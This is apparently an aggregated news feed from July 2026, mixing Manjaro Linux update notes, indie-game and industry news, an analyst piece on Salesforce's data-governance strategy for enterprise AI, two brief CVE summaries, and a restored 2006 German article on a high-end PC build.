As of Linux 7.0.14, the 7.0 series is now EOL (End Of Life). Please install 7.1, and/or 6.18 LTS (Long Term Support) and/or 6.12 LTS.

Previous News (click for more details)

Notable Package Updates

Kernels got updated
- linux70 got removed from our repos
- linux-firmware 20260622
- slight toolchain update
- NVIDIA 610.43.03
- we dropped NVIDIA driver series 570xx and 575xx
Firefox 152.0.4
Thunderbird 152.0
Virtualbox 7.2.12
Godot 4.7
Pipewire 1.6.7
Systemd 261.1
COSMIC Epoch 1.2.0
Plasma 6.6.6
KDE Gear 26.04.3
QEmu 11.0.2
Firefox 152.0.5
Xorg-Server 21.1.24
XWayland 24.1.13
OpenSearch 3.7.0

Additional Info

Python 3.14 info (click for more details) Info about AUR packages (click for more details)

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

linux61 6.1.177
linux66 6.6.144
linux612 6.12.95
linux618 6.18.38
linux71 7.1.3
linux72 7.2.0-rc2
linux61-rt 6.1.167_rt62
linux66-rt 6.6.135_rt74
linux612-rt 6.12.89_rt18

Package Changes (7/9/26 07:43 CEST)

stable core x86_64: 121 new and 122 removed package(s)
stable extra x86_64: 4021 new and 4169 removed package(s)
stable multilib x86_64: 65 new and 70 removed package(s)

A list of all package changes can be found here.

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Neario: Neue Indie-App ermöglicht gemeinsame Reiseplanung in Echtzeit

Fri, 10 Jul 2026 19:31:35 +0200

Erst gestern haben wir euch mit Packliste eine App zum Verwalten des Reisegepäcks vorgestellt. Ein wenig eher setzt die Anwendung des deutschen Indie-Entwicklers Christian Förster aus Dortmund an, Neario. Sie stellt die Frage, wohin es überhaupt gehen soll, und zwar nicht allein, sondern zusammen mit allen Beteiligten, die mitfahren. „Das ist der Kerngedanke von Neario: […]

Der Beitrag Neario: Neue Indie-App ermöglicht gemeinsame Reiseplanung in Echtzeit erschien zuerst auf appgefahren.de.

Nvidia bringt neue Karten auf den Markt, die sich jeder leisten kann

Fri, 10 Jul 2026 08:18:17 +0200

Laut Nvidia soll damit die Aufmerksamkeit auf Grafikkarten und Spiele gelenkt werden, die Generationen von PC-Spielern geprägt haben. Ein zusätzlicher Vorteil ist, dass die „GeForce Trading Cards: Series 1“ – obwohl die Speicherkrise die Preise für alle möglichen Grafikkarten in die Höhe getrieben hat – tatsächlich einige Nvidia-Karten sind, die sich jeder leisten kann. Zumindest solange, bis sie auf dem Gebrauchtmarkt auftauchen.

Nvidia RTX-6000-Serie soll erst Ende 2027 erscheinen

Nano: Gratis-Wetter-App setzt auf Daten vom deutschen Wetterdienst

Thu, 09 Jul 2026 18:31:11 +0200

Wir freuen uns immer wieder, wenn wir Apps von Indie-Entwicklern und -Entwicklerinnen vorstellen können. Daher: Wenn ihr zum Start der Sommerferien und der Urlaubszeit noch eine Wetter-Anwendung benötigt, sei euch Nano von Benjamin Kramser aus Kornwestheim bei Stuttgart empfohlen. Nano entsteht laut Kramser „an Abenden und Wochenenden – unabhängig entwickelt in Deutschland, ohne Investoren und […]

Der Beitrag Nano: Gratis-Wetter-App setzt auf Daten vom deutschen Wetterdienst erschien zuerst auf appgefahren.de.

55.000 Stornierungen: Wie ein deutsches Indie-Spiel die Schwächen bei Steam aufdeckt

Thu, 09 Jul 2026 15:18:12 +0200

Digitale Vertriebsplattformen bieten Kund:innen oft großzügige Fristen für die Rückerstattung von Softwarekäufen. Ein aktueller Fall aus der Spieleindustrie zeigt nun auf, wie diese Automatismen zu unerwarteten Herausforderungen für kleine Entwicklungsstudios führen. weiterlesen auf t3n.de

RACCOIN: Coin Pusher Roguelike Review (PC)

Wed, 08 Jul 2026 17:23:52 +0200

Ever since Balatro released a few years ago, many indie games have tried to implement the roguelike formula in a creative way, and RACCOIN is definitely one of the latest titles attempting to do such a thing. Yet the thing that sets it apart is its unique focus on simulating a coin pusher arcade machine. It also offers a very seamless gameplay. The idea is that you want to shoot out coins onto the top of the moving platform. As it slides back, it pushes against the rear wall of the machine, thus sliding some coins forward which will drop and fill the space in front. You will score points when new coins push the other coins into the pit. What this means is that RACCOIN is basically all about flicking coins from the right or left side of the machine and then seeing if the other coins are falling or not. At first, this doesn’t sound very exciting, mainly because it appears like a very boring thing to do. But there is an upside here, and that’s the fact that you have a...

Why Unity Remains the Most Popular Engine for Mobile Games

Wed, 08 Jul 2026 00:53:00 +0200

Learn why Unity is still a trusted engine for mobile games, from faster prototyping and Android and iOS support to tools that help studios scale after releases. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI…

The post Why Unity Remains the Most Popular Engine for Mobile Games appeared first on IT Security News.

Why Unity Remains the Most Popular Engine for Mobile Games

Wed, 08 Jul 2026 00:39:02 +0200

Learn why Unity is still a trusted engine for mobile games, from faster prototyping and Android and iOS support to tools that help studios scale after releases.

"This should not be possible": How one indie game was refunded over 55,000 times on Steam — and the mystery behind it

Tue, 07 Jul 2026 15:26:41 +0200

The developer behind Paddle Paddle Paddle claims Steam users have refunded the game more than 55,000 times despite overwhelmingly positive reviews. The controversy has sparked renewed debate over whether Valve's two-hour refund policy is too generous for shorter games.

Why trusted context is becoming the currency for enterprise AI

Tue, 07 Jul 2026 11:04:23 +0200

AI is getting most of the attention in enterprise technology. Governance, ownership, and data quality do most of the heavy lifting behind the scenes. And yet, as organizations move from AI experiments to production deployments, trusted context is becoming a key factor in determining whether agents create business value — or operational risk.

That shift is reshaping how Salesforce, Microsoft, Snowflake, Databricks, SAP, Oracle, and others are positioning their data, governance, metadata, and integration services. The conversation is no longer just about models. It’s about whether AI systems can operate against trusted, governed, and business-relevant information.

Trusted context has become the new currency, and Salesforce has made a strategic commitment to it.

Agentic AI is exposing the problems master data management was designed to solve

Master data management (MDM) spent much of the last decade as an important but often overlooked infrastructure. AI is changing that. Agentic systems can identify duplicate records, inconsistent definitions, fragmented ownership, and poor governance the moment AI begins interacting with enterprise data and processes.

I recently wrote about Salesforce’s State of Data and Analytics research, which found that 84% of data leaders believe their organizations need significant changes to their data strategies before AI can succeed at scale. That finding shows what many enterprises are now experiencing. AI often exposes data and governance issues that have existed for years.

Manouj Tahiliani, senior vice president for MDM at Informatica, now part of Salesforce, said, “Trusted context is becoming the new currency in enterprise AI.” His argument is that trusted context is the connected, governed view of customers, products, and suppliers that lets an agent act like a tenured employee. Models and agents will commoditize. Differentiation comes from how well an agent understands the enterprise, which depends on the data underneath. AI is not a model problem. It is a data foundation problem with an agent interface bolted on top.

Salesforce is expanding its definition of the data layer

Salesforce completed its acquisition of Informatica in November 2025. The acquisition strengthens Salesforce’s position around data quality, governance, metadata, lineage, and MDM. It also reflects the market reality. Every major enterprise platform provider is trying to create a trusted layer that connects operational systems, business context, and AI.

Marc Benioff, CEO of Salesforce, summarized the rationale when the deal closed. Organizations need trusted, connected, and governed data before they can expect meaningful outcomes from AI. While that statement may sound obvious, it reflects one of the biggest challenges organizations continue to face as AI moves into production.

The combined strategy brings together Tableau for analytics, MuleSoft for integration and Agent Fabric, Data 360 (formerly Data Cloud) for data unification, and Informatica for governance, quality, stewardship, and MDM. The goal is not simply data consolidation. The goal is creating a consistent layer of business context that can be used across applications, workflows, and AI systems.

Salesforce is not alone. Microsoft, for example, is building around Fabric, OneLake, Purview, and Fabric IQ. Snowflake continues expanding governance, semantic, and catalog capabilities. Databricks is advancing Unity Catalog and its broader Data Intelligence Platform strategy. SAP and Oracle are pursuing similar objectives through business applications and industry-specific data models. The competitive landscape is increasingly shifting from data storage and analytics toward trusted context, governance, and operational execution.

Early adoption metrics suggest the strategy is gaining traction, although long-term success will be measured by customer outcomes, implementation timelines, and operational value. Data 360 has grown within Salesforce, Agentforce adoption continues to expand, and deeper integration between Informatica, Data 360, and Agent Fabric is expected throughout 2026.

Informatica extends governance into the agent era

The Intelligent Data Management Cloud (IDMC) remains the foundation underneath Informatica’s data management strategy. It provides metadata-aware connectivity, governance, stewardship, matching, merging, and master data capabilities across applications, databases, files, and streaming sources.

For most enterprises, the number of connectors is less important than whether governance, ownership, quality, and lineage remain consistent across systems. Connectivity alone rarely solves data problems. Operational discipline does.

What is changing is how those capabilities are being exposed to AI systems. Salesforce and Informatica are positioning governance and data management services as capabilities that agents can access directly through Model Context Protocol and related interfaces. The value is not the protocol itself. The value is allowing AI systems to interact with governed enterprise information while maintaining lineage, governance, ownership, and security controls.

Headless data management is also becoming more important. Organizations want agents, applications, and workflows to access trusted services without custom integrations for every use case. If executed effectively, that approach could simplify how AI systems consume enterprise data while preserving governance standards.

Why many data programs continue to struggle

Industry research has consistently shown that many MDM initiatives struggle to achieve their original business objectives. Governance arrives too late. Executive sponsorship is weak. Ownership remains unclear. Business units maintain competing definitions. Technology is expected to solve organizational problems.

One of the recurring issues I see across enterprises is that technology decisions often move faster than governance models. Organizations frequently deploy tools before establishing ownership, stewardship, and accountability. AI tends to expose those gaps very quickly.

The challenge becomes more complicated as enterprises deploy agents across ERP, CRM, finance, supply chain, and operational systems simultaneously. Visibility, accountability, and governance become increasingly important as AI systems move beyond recommendations and begin to influence business processes.

This is where Informatica’s Agent Fabric Context Catalog becomes relevant. The concept is less about cataloging technology and more about providing visibility into how agents are deployed, governed, monitored, and controlled.

Tahiliani offered advice that aligns with what I often tell clients. Start with business priorities. Translate those priorities into a data strategy. Then select the architecture and technology required to support it. Many organizations still approach the process in reverse, struggling to generate business value.

The competitive landscape extends beyond traditional MDM

MDM is not a single-vendor market. Gartner’s 2026 Magic Quadrant leaders include Salesforce (Informatica), Profisee, Reltio, Semarchy, and Stibo Systems. Each vendor approaches the market differently. Profisee remains closely aligned with Microsoft environments. Reltio, which SAP acquired in May 2026, continues to differentiate through graph-oriented architecture and API-first design. Semarchy brings strengths where integration and MDM converge. Stibo maintains a strong position in product information management and retail-focused environments.

Informatica’s key strengths continue to be its broad capabilities, mature governance, and growing alignment with Salesforce. The larger question is execution. Enterprises will want evidence that implementation timelines, governance complexity, and time-to-value improve as the roadmap evolves.

Historically, Informatica implementations have required significant investment, governance discipline, and organizational commitment. Salesforce will need to demonstrate that the combined strategy can simplify adoption while maintaining the governance rigor many customers expect.

Yum Brands and TELUS show what trusted context looks like in practice

Yum Brands, the parent company of KFC, Pizza Hut, Taco Bell, and Habit Burger Grill, operates more than 63,000 restaurant locations globally. According to company leadership, significant effort was being spent consolidating and cleansing location data before it could be used effectively across the business. Informatica MDM became a central component of the company’s modernization effort.

TELUS represents a different use case. The Canadian telecommunications and health services provider uses Informatica MDM Cloud Edition and Customer 360 to improve customer visibility across the organization. Integrating acquisition data into a unified customer view enabled more effective measurement of marketing performance and improved opportunities for targeted cross-sell initiatives.

Neither example proves the broader strategy on its own. Both illustrate a pattern that continues to emerge across enterprise AI initiatives. Data management investments create value when they improve operational execution, decision-making, and business outcomes rather than simply improving data quality metrics.

The common theme is that trusted information is becoming a foundational requirement for organizations attempting to scale AI, analytics, and operational decision-making.

What Salesforce and enterprise buyers still need to prove

The questions that separate successful data programs from costly tech projects are straightforward. Is there clear ownership for each data domain? Is governance embedded from the beginning rather than added later? Can governance and data management services be consumed directly by AI systems? Can compliance, security, and operational controls scale alongside AI adoption?

These questions matter more than any individual AI feature announcement. For Salesforce, the next phase requires measurable proof points. Customer references are encouraging, but enterprises will want audited outcomes, implementation metrics, and long-term operational results. I believe that success in enterprise AI won’t come from having the best model. Instead, it will come from the team with the clearest, best-governed data to support their efforts. This reflects how ERP systems are evolving, not being replaced, with an emphasis on enhancing the core data rather than just updating the technology.

Salesforce has made a decisive commitment to making trusted context essential to enterprise AI, setting a high standard that all other vendors must meet. The proof will not be in the keynotes. It will be in the stores Yum can finally report on, the households TELUS can finally sell into, and the next 10 customer stories about successful AI integration.

—

Disclosure: KramerERP offers paid services to technology companies, similar to those provided by other technology research and analyst firms. These services include research, analysis, advisory services, consulting, benchmarking, acquisition matchmaking, video sponsorships, speaking sponsorships and other related activities. KramerERP has worked with, or is currently working with, companies mentioned in this article.

Google Play launches the first Indie Games Fund in Africa

Mon, 06 Jul 2026 19:56:46 +0200

Posted by Steph Pio, Strategic Partnerships Manager, Google Play EMEA

Sub-Saharan Africa is home to some of the world’s most creative storytelling. To help bring those stories to a global audience, today, we’re proud to announce the debut of Google Play’s Indie Games Fund in Africa.

The region’s unique creativity has fueled a vibrant game development scene, helping drive what is quickly becoming one of the most exciting, resilient, and fast-growing gaming markets. It’s a space defined by immense talent. However, access to capital is a persistent hurdle, and a significant investment gap often holds back incredibly promising local studios.

With this inaugural fund, we’re committing $1 million USD to help address that gap. This fund will empower 10 indie game studios across Sub-Saharan Africa to scale their businesses and realize their full potential.

Funding and support for selected studios

This program is designed to drive long-term growth, where it can make the biggest impact. Selected studios will receive a share of the $1 million fund, with individual investments ranging from $50,000 to $200,000 to help elevate their games. Alongside this financial backing, recipients will benefit from dedicated mentorship and hands-on technical support. Together, these awards are designed to help them scale their businesses and reach a global audience.

Who can apply?

The program is open to indie game developers based in Sub-Saharan Africa (see the list of eligible countries) who have launched a game—whether it’s on Google Play, another mobile platform, PC, or console.

Review the eligibility criteria and apply now. Applications close at 12 noon UTC on July 31, 2026.

Former Xbox studios Double Fine and Compulsion will keep games after going indie

Mon, 06 Jul 2026 18:35:03 +0200

Microsoft is spinning off four of its Xbox game studios - Compulsion Games, Double Fine Productions, Ninja Theory, and Undead Labs - as part of the restructuring announced today. However, two that are going independent, Double Fine and Compulsion, will get to keep their franchises and games catalog, according to Xbox CEO Asha Sharma. "Compulsion […]

heise+ | Spiele-Engines: Warum erfolgreiche Game-Studios die Unreal Engine bevorzugen

Mon, 06 Jul 2026 10:33:47 +0200

Unreal, Unity, Godot oder besser selbst bauen? Warum greifen viele erfolgreiche Game-Studios bei der Spieleentwicklung zur Unreal Engine? Wir haben nachgefragt.

Neues Spiele-Bundle: Acht Indie-Titel ab 10,37 Euro

Sun, 05 Jul 2026 22:02:46 +0200

Aktuell ist ein neues Spiele-Bundle verfügbar, das sich primär an Fans von Indie-Titeln, Rogue-lites und taktischen Rollenspielen richtet. Für einen Preis von 10,37 Euro erhaltet ihr das komplette Paket, bestehend aus acht Spielen sowie einem Rabattgutschein für Erweiterungsinhalte. Alternativ steht...

Zum Beitrag: Neues Spiele-Bundle: Acht Indie-Titel ab 10,37 Euro

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Auf dem Laufenden bleiben?
Fügt uns doch bei Google als bevorzugte Quelle hinzu!

The viral hit of 2026 has sold 15 million copies in a month on Steam, costs $5, and was made by 2 people

Sun, 05 Jul 2026 18:26:23 +0200

Meccha Chameleon hits 15M Steam sales, proving a 2-month indie project can utterly outshine ailing AAA giants.

[Testing Update] 2026-07-04 - Kernels, Firefox, Thunderbird, KDE Gear, COSMIC, QEmu

Sat, 04 Jul 2026 09:46:33 +0200

Hello Manjaro user community, here we have another set of package updates. We are continuing our development of the upcoming release of ‘Bian-May’ which can be expected Mid or End of July. Development speed may be a little slower the upcoming weeks. However, still let us know any issues you may found thus far.

Current Promotions

Get the latest Gaming Laptop by Slimbook powered by Manjaro: Slimbook Manjaro III
Protect your personal data, keep yourself safe with Surfshark VPN: See current promotion

Notable Package Updates

Kernels got updated
- linux70 series is now marked EOL
- linux-firmware 20260622
- slight toolchain update
- we dropped NVIDIA driver series 570xx and 575xx
Firefox 152.0.4
Thunderbird 152.0
Virtualbox 7.2.12
Godot 4.7
Pipewire 1.6.7
Systemd 261.1
COSMIC Epoch 1.2.0
KDE Gear 26.04.3
QEmu 11.0.2

Additional Info

Python 3.14 info (click for more details) Info about AUR packages (click for more details)

Get our latest daily developer images now from Github: Plasma, GNOME, XFCE. You can get the latest stable releases of Manjaro from CDN77.

Our current supported kernels

linux61 6.1.176
linux66 6.6.143
linux612 6.12.94
linux618 6.18.37
linux70 7.0.14
linux71 7.1.2
linux72 7.2.0-rc1
linux61-rt 6.1.167_rt62
linux66-rt 6.6.135_rt74
linux612-rt 6.12.89_rt18

Package Changes (7/4/26 08:10 CEST)

testing core x86_64: 89 new and 88 removed package(s)
testing multilib x86_64: 50 new and 50 removed package(s)
testing extra x86_64: 3447 new and 3452 removed package(s)

Overlay Changes

testing core x86_64: 25 new and 26 removed package(s)
testing multilib x86_64: 6 new and 10 removed package(s)
testing extra x86_64: 260 new and 403 removed package(s)

A list of all package changes can be found here.

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CVE-2026-54424 | Unity Parsec up to 2026-05-04.0 on Windows Environment Variable parsecd.exe incorrect privileged apis (EUVD-2026-41655)

Sat, 04 Jul 2026 07:39:14 +0200

A vulnerability was found in Unity Parsec up to 2026-05-04.0 on Windows. It has been rated as critical. This impacts an unknown function of the file parsecd.exe of the component Environment Variable Handler. The manipulation leads to incorrect use of privileged apis. This vulnerability is uniquely identified as CVE-2026-54424. Local access is required to approach this attack. No exploit exists. To fix this issue, it is recommended to deploy a patch.

We're investing $1 million in Africa's indie game developers.

Fri, 03 Jul 2026 18:04:12 +0200

Sub-Saharan Africa is home to incredible storytelling, which fuels the game development scene in what is one of the world's fastest-growing gaming markets. But while the…

What is Paralives? The creative life simulator game that could rival The Sims

Fri, 03 Jul 2026 10:48:16 +0200

With players leaving EA’s series once life there felt like a grind beset by ethical concerns, this quirky new sim promises a better life elsewhere

For 26 years, the life-sims genre has been dominated by one series: The Sims. Originally designed by Will Wright, creator of Sim City, EA’s virtual dollhouse series has grown into a $5bn [£3.8bn] empire with the constant release of new games, expansion packs, and collaborations cementing its place among the bestselling video game franchises of all time. But things are beginning to change. New contenders are emerging and turning the heads of even loyal players in The Sims community.

The most recent, and promising, of these is Paralives, once the solo project of indie designer Alex Massé, who is now employing a small team of developers. Released on the PC games platform Steam in May 2026 as an early access title (meaning it’s technically unfinished and looking for user feedback), it sold 250,000 copies in just eight hours. On that first day, the concurrent player count hit 78,603 – not far off The Sims 4’s all-time peak of 96,328 in 2022. While Paralives is a small project, this success is understandable. Following the news of EA’s controversial acquisition by a Saudi-backed business consortium, some simmers are looking for what they see as a more ethical alternative. But this is only part of the game’s appeal. The real draw is the game’s focus on creativity over realism: the quirky details that made many fans fall in love with The Sims in the first place.

Godot Game Engine No Longer Accepts AI Code

Thu, 02 Jul 2026 21:07:53 +0200

The Godot Foundation will stop accepting AI-authored code, agent-submitted pull requests, and AI-generated text in contributor communications after maintainers were overwhelmed by low-effort submissions. "It is time for us to recognize that these problems aren't going away and therefore we need to take steps to reduce the burden on maintainers while ensuring we still have a pipeline to mentor new contributors to become future maintainers," the Godot Foundation said in a blog post. Contributors may still use AI for limited "menial things" if they disclose it, but humans must understand, own, and be able to fix the code they submit. PC Gamer reports: The Foundation says the pileup of Godot pull requests pending review isn't all bad: It's a sign that interest in using and contribution to Godot is increasing. But the influx of contributions authored or submitted by AI is sapping the projects' maintainers of their willingness to confront the "already tedious" work of reviewing pull requests. "If your feedback on PRs is just being absorbed by a machine and not going towards mentoring a potential future maintainer, it becomes much harder to justify spending your free time on PR review," the Foundation said. As the problem becomes increasingly unsustainable, the Godot Foundation says it's in the process of updating its contribution policies, focusing on "adding barriers to low-effort slop" contributions, encouraging maintainers to review code, developing new contributors into future maintainers, and crucially, requiring that all contributions come from humans who are accountable for their code -- and fixing it if it fails. "AI cannot take responsibility, and we can't trust heavy users of AI to understand their code enough to fix it," the Foundation said. The Foundation says we can expect Godot's contributing policy to soon include explicit rejections of AI-authored code, noting that contributors should only use AI assistance for "menial things" and must disclose its use. Additionally, the Foundation will reject any AI-generated text in human-to-human communications, saying it's "a basic principle of respect" -- though it says machine translations "are still acceptable" if the original text was human-authored. "Things change every day with respect to the current suite of AI tools available," the Foundation said. "We will continue taking a conservative approach in our policies towards them, but we will re-evaluate as things evolve."

Read more of this story at Slashdot.

Rhythm Paradise Groove review – exhilarating bitesize beats test your reflexes

Thu, 02 Jul 2026 10:47:52 +0200

Nintendo/TNX; Nintendo Switch
A joyful collection of vibrant rhythm games includes catching veggies in mid-air, practising dance choreographies and speaking to an alien

It has been a strange decade for the rhythm game genre. The legendary progenitors Rock Band and Guitar Hero are seemingly gone, yet companies are manufacturing plastic guitars again. Tango Gameworks, a studio best known for delivering survival horror hauntings, made Hi-Fi Rush and it ruled, but Microsoft sold the studio. Indie titles such as Sayonara Wild Hearts and Rift of the NecroDancer have done well on the margins, but now Epic Games has swept in, adding a rhythm action mode to Fortnite so now its mainstream again. All these titles have reinforced the ideas laid out by their forefathers: rhythm can intersect with video games as much as it already intersects with our everyday lives.

Few series hold this ethos to heart as strongly as Rhythm Heaven. Dormant since 2015, a new entry, Rhythm Heaven Groove (known as Rhythm Paradise Groove in Pal territories), doubles down on the concept of offering bitesize, rhythm-based experiences where you follow auditive cues to perform all manner of increasingly exhilarating actions with just a few buttons. Whether you’re catching veggies in mid-air, practising dance choreographies, or speaking to an alien, each mini-game is intended to be a vibrant, micro cacophony with its own rules.

CVE-2026-20034 | Cisco Unity Connection up to 15SU3 API path traversal (cisco-sa-unity-rce-ssrf-hENhuASy)

Thu, 02 Jul 2026 10:08:51 +0200

A vulnerability identified as critical has been detected in Cisco Unity Connection. Affected by this vulnerability is an unknown functionality of the component API Handler. The manipulation leads to path traversal: '.../...//'. This vulnerability is traded as CVE-2026-20034. It is possible to initiate the attack remotely. There is no exploit available. You should upgrade the affected component.

Godot says bye bye AI, bans vibe-coded contributions

Wed, 01 Jul 2026 23:32:30 +0200

'We can’t trust heavy users of AI to understand their code enough to fix it,' say maintainers who previously called the flood of vibe-coded pull requests 'demoralizing'

Godot Engine to get stricter on AI contributed code

Wed, 01 Jul 2026 11:25:32 +0200

The developers of the free, open source and cross-platform Godot Engine are adjusting their policies to get stricter on AI code contributions.

Read the full article on GamingOnLinux.

Signet City – futuristic parasites feed off 80s social realism in dystopian RPG

Wed, 01 Jul 2026 11:18:18 +0200

A preview of the forthcoming sci-fi game from Gareth Damian Martin showcases their unmistakable talent for innovation and game design

Over the past decade, an impression has taken root among gamers that any real creativity and originality in the industry is to be found in the indie, rather than mainstream, sector. Gareth Damian Martin can claim some responsibility for that. Their first game, 2020’s In Other Waters, merged sci-fi and underwater xenobiology in a uniquely calming and thought-provoking manner, while Citizen Sleeper (2022) and Citizen Sleeper 2: Starward Vector (2025) were full-blown sci-fi epics with ultraminimal aesthetics and a rare intelligence.

Martin has broken with tradition by unveiling their next game, Signet City, far in advance of its 2027 launch. Set in a dystopian monochrome city, it’s a narrative role-playing adventure with a curious first-person perspective. “You play as a parasite,” says Martin. “And it felt natural that it should be a game where you see the world through the eyes of your hosts, very literally. You wake up in the mind of a person called Sid at the same time as she’s waking up in the river of a city. You’re coming to understand what you are, why it is that you’re in the mind of this person who doesn’t know that you’re there, along with what your capabilities are, and what the world is, through Sid.”

Vor 20 Jahren: PC-WELT präsentiert die erste Höllenmaschine

Wed, 01 Jul 2026 10:33:23 +0200

Hinweis: Dieser Artikel erschien am 7. Januar 2006 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.

Hier geht es direkt zum Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro. Bestens informiert bleiben Sie mit unserem HMX-6-Newsletter. Und nun viel Spaß mit der ersten Höllenmaschine:

Das Rückgrat der Höllenmaschine bildet die Tyan-Hauptplatine Tiger K8WE mit Nvidia-Chipsatz Nforce Pro 2200. Das Rechenherz besteht aus zwei AMD Opteron 280. Die Server-CPUs beherbergen je zwei Prozessorkerne à 2,4 GHz, wobei jeder Kern auf 1 MB L2-Cache zurückgreift. Sechs Gigabyte PC400-DDR-SDRAM des Typs Corsair CM72SD1024RLP-3200 kann der High-End-PC dank Windows XP Professional 64-Bit Edition komplett ansprechen. Das Betriebssystem unterstützt übrigens einen maximalen Ausbau von 128 GB.

Die vier 500-GB-Festplatten Seagate ST3500641AS mit S-ATA-II-Schnittstelle bieten im Raid-0+1-Verbund ein knappes Terabyte nutzbare Kapazität im schnellen Raid-0-Modus bei voller Raid-1-Datensicherheit. Das Quartett beherrscht alle modernen Festplattenfunktionen wie beispielsweise Native Command Queuing (NCQ). Das erlaubt der Festplatte, die vom PC geforderten Zugriffe selbstständig zu verwalten. Sie kann so die optimale Reihenfolge der Zugriffe ermitteln: Das spart zusätzliche Drehbewegungen und verkürzt die Wegstrecken, die der Schreib-/Lesekopf zurücklegen muss. Hinzu kommen die zwei Ultra-DMA/100-Platten Seagate ST3400832A mit je 400 GB. Eigentlich hätten wir gerne die drei Terabyte vollgemacht, leider waren die 500-GB-Platten mit paralleler Schnittstelle zum Testzeitpunkt nicht lieferbar – aber eine nutzbare Gesamtkapazität von 1675 GB sollte erst einmal reichen.

Die Bildausgabe übernimmt das Grafikkartenduo Evga E-Geforce 7800 GTX Blackpearl 512 MB im SLI‑Verbund. Die Karten sind bereits ab Werk übertaktet und laufen mit einem Chip- und Speichertakt von 600 respektive 900 (effektiv 1800) MHz und greifen auf jeweils 512 MB DDR3-Grafik-RAM zurück. Insgesamt 48 Pixel- und 16 Vertex-Shader kümmern sich um die 3D-Berechnung.

Ideal für das Auslesen von Rohdaten ist der Plextor-DVD-Brenner PX-716A . Zudem lässt sich mit den beiliegenden Plextools die Brennqualität anhand von acht Parametern prüfen. Da ist der DVD-Brenner LG Electronics GSA-4166B eine prima Ergänzung: Er beherrscht sämtliche DVD-Formate und die Lightscribe-Technik. Für knackigen Raumklang sorgt die Terratec Aureon 7.1 Universe . Dank Break-Out-Box sind alle Anschlüsse der Soundkarte bequem über die Frontseite erreichbar.

Auch fernsehen können Sie mit unserer Höllenmaschine. Dabei lässt Ihnen die Terratec Cinergy Hybrid T USB XS die Wahl, ob dies digital über DVB-T oder analog geschieht. Alle Komponenten haben wir in den Big Tower Chieftec BA-01B-B-SL verfrachtet. Und Logitechs Cordless Desktop MX5000 Laser stellt sicher, dass auch die Eingabe bequem und schnell von der Hand geht.

Ausstattung der ersten Höllenmaschine im Überblick

Komponente	Modell	Preis (Euro) am 1.7.2006
Hauptplatine	Tyan Tiger K8WE S2877 mit Nvidia-Chipsatz Nforce Pro 2200	300
Prozessor	2 x AMD Opteron 280 Dual-Core	3100
Speicher	6 x 1 GB Corsair registered PC400 ECC CL3	900
Grafik	2 x EVGA Nvidia Geforce 7800 GTX 512 MB im SLI-Modus	1360
Sound	Terratec Aureon 7.1 Universe	140
Festplatten	4 x 500 GB Seagate Barracuda 7200.9 SATA II, Raid 0+1	1400
	2 x 400 GB Seagate Barracuda 7200.8 PATA	460
DVD-Brenner	LG Electronics GSA-4166B	90
	Plextor PX-716A	110
TV-Tuner	Terratec Cinergy Hybrid T USB XS, DVB-T und analog	130
Gehäuse	Chieftec Big Tower BA-01B-B-SL	130
Wasserkühlung	Innovatek passive Konvekt-O-Matic Ultra mit Dual Radiator und 2 CPU-, 2 Grafikchip- und 6 Festplattenkühler	1170
Netzteil	Enermax EG851AX-VH(W) 660W	250
Sensorik	Innovatek Fan-O-Matic PRO	200
Betriebssystem	Microsoft Windows XP Professional 64-Bit Edition	140
Eingabegeräte	Logitech Cordless Desktop MX5000 Laser	130

Cool bleiben: Wasserkühlung für alle Hitzköpfe

Bereits im Ruhezustand saugt unsere Höllenmaschine gut 340 Watt aus dem Netzteil. Die exorbitante Verlustleistung lässt sich mit AMDs Energiesparmodus Powernow immerhin auf knapp 280 Watt drücken. Dazu war ein BIOS‑Update von Version 1.02 auf 1.03 notwendig. Erst dann können Sie die Energiesparoption im BIOS aktivieren. Unter Last sind es in der Spitze allerdings bis zu 585 Watt – gemessen während des Quake-4-Benchmarks im SMP‑1-Modus –, ein kraftvolles Netzteil ist für den stabilen Betrieb daher Pflicht. Wir haben uns für das 660-Watt-Netzteil Enermax EG851AX-VH(W) 660W entschieden.

Das Netzteil hat allein vier 12‑Volt-Versorgungsleitungen, die zusammen 40 Ampere bei maximal 480 Watt zur Verfügung stellen. Die 3,3- respektive 5-Volt-Stromschiene liefert bis zu 38 beziehungsweise 42 Ampere. Damit erfüllt das 660-Watt-Monster locker die hohen Anforderungen für den SLI-Betrieb von Nvidias Spitzengrafikchips. Die beiden temperaturgesteuerten 80‑Millimeter-Lüfter sind – obwohl sie kaum hörbar rotieren – gleich nach dem Betriebsgeräusch der DVD-Brenner die lautesten Komponenten unserer Höllenmaschine.

Bei der hohen Leistungsaufnahme ist eine gute Kühlung der hitzigsten Komponenten geboten. Diese Aufgabe übernimmt die Innovatek-Wasserkühlung mit passivem Konvekt-O-Matic Ultra und Dual Radiator. Das Hochleistungskühlsystem leitet die Abwärme des CPUs- und Grafikkarten-Duos sowie der sechs Festplatten fast lautlos ab.

PC-WELT

Eine hervorragende Wärmeleitfähigkeit hat die Bodenplatte des CPU-Kühlers Innovatek XX-Flow rev2.0. Sie besteht aus vernickeltem Reinstkupfer. Prototyp: Eine verbesserte Version des Grafikchipkühlers Cool-Matic G70 kommt bei den brandneuen Nvidia-GPUs zum Einsatz – schließlich gilt es, insgesamt ein Gigabyte Grafikspeicher effektiv zu kühlen.

Für die Systemüberwachung zeichnet der Fan-O-Matic PRO – USB von Innovatek verantwortlich. Er verfügt über 31 Aus- und Eingänge und kontrolliert in unserem Super-PC unter anderem die Temperatur der CPUs, Grafikchips und Festplatten sowie Kühlungsparameter wie Wärmeaustausch und Flussleistung. Zudem besitzt der Steuercomputer einen komplexen Timer, etwa für die Fernwartung. Für die Farbuntermalung sorgen zwei Leuchtkörper, die den PC in einen roten und einen blauen Bereich unterteilen.

